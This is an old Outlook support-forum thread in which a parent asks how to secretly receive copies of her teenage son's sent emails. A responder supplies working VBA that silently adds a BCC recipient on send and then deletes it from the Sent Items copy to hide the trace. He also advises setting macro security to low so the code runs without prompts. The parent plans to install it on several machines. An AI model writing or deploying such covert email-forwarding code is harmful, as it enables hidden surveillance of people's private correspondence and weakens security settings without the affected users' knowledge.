Redirect email from Sent folder

G

Guest

I've found information using Help in Outlook to redirect email, however what
I've come across so far is that a Mail Server is needed. Is this true? I want
to be able to redirect mail from the Sent folder as I am already keeping a
copy of the Incoming emails on my ISP server. The reason I am doing this is
because I am having difficulty with my teenage son. Although I am now able to
find out things after they've taken place through only the incoming emails, I
want the advantage of knowing beforehand. Is there VB script that can be
written to help me with this?

Thank you in advance for your help.
Christine
 
M

Michael Bauer

Am Fri, 28 Apr 2006 12:57:01 -0700 schrieb Christine:

Christine, I´m not sure what you´re asking for. Do you want a copy of each
sent mail to be sent to another address, too?
 
G

Guest

Hi Michael,

Yes, I want any sent emails forwarded to another email account, however
because of the nature of my problem I don't want it to be CC'd or showing as
sent to another email account.

I appreciate any help with this.
Christine
 
M

Michael Bauer

Am Mon, 1 May 2006 07:07:02 -0700 schrieb Christine:

You can´t be sure that the process is really hidden. The Outbox could show
all addresses, also the CC or BCC. And the code is visible in the VBA
Editor.
 
G

Guest

Yes Michael I understand that the VBA editor would show the script, however I
do know that my teenager wouldn't know to look there. If I used a "rule" to
Bcc, I know the rule would show, however it's my understanding that if I Bcc
it wouldn't show to the people that the email was sent.... although I don't
know if there would be a second sent email showing to my account for the same
message. This is why I was hoping there was VB script to handle this.

Thanks,
Christine
 
M

Michael Bauer

Am Tue, 2 May 2006 13:42:05 -0700 schrieb Christine:

There´s no second message and the recipients wouldn´t know, that´s correct.
But if you open the Outbox there´re several fields displayed, e.g. To and
Subject. You can add also CC and/or BCC, so the additional recipients would
be visible to your teenager.

The sample below does it in OL 2003. In OL XP you would be faced with
security prompts. You need to edit the address in the last method´s constant
BCC_ADR, that is the one the BCC goes to.

Your next problem is the security setting. For running VBA without user
interaction you need to set the security to low. In Outlook, not VBA IDE,
click Tools/Macros/Security. The alternative would be to create a
certificate for the VBA project. Please Google for "selfcert.exe" to find an
example.

Private WithEvents Items As Outlook.Items

Private Sub Application_Startup()
Set Items = Application.Session.GetDefaultFolder(olFolderSentMail).Items
End Sub

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
On Error Resume Next
If TypeOf Item Is Outlook.MailItem Then
HiddenCopy Item, True
End If
End Sub

Private Sub Items_ItemAdd(ByVal Item As Object)
On Error Resume Next
HiddenCopy Item, False
End Sub

Private Sub HiddenCopy(ByVal Item As Outlook.MailItem, _
ByVal AddRecipient As Boolean _
)
On Error Resume Next
Dim r As Outlook.Recipient
Dim i As Long
Const BCC_ADR As String = "(e-mail address removed)"

If AddRecipient Then
' Add the recipient
Set r = Item.Recipients.Add(BCC_ADR)
Debug.Print r.Index
r.Type = olBCC
r.Resolve
Else
' Remove it
For Each r In Item.Recipients
If InStr(1, r.Address, BCC_ADR, vbTextCompare) Then
If r.Type = olBCC Then
r.Delete
Item.Save
Exit For
End If
End If
Next
End If
End Sub
 
G

Guest

Hi Michael,

Thank you so much for your time in finding the solution for my problem. It's
great to see that VBA will Bcc to my email address (last method´s constant
BCC_ADR) so that I do not have to set a rule. I have another computer that
I can test this on using Outlook 2003 to check the flow of a sent message,
and then I will add this to two other computers (one at his dad's) that my
son uses.

I really need to learn more VBA, as it would be useful in my day job of
database manager where I use SQL and Access.

Thanks again!
Christine
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Top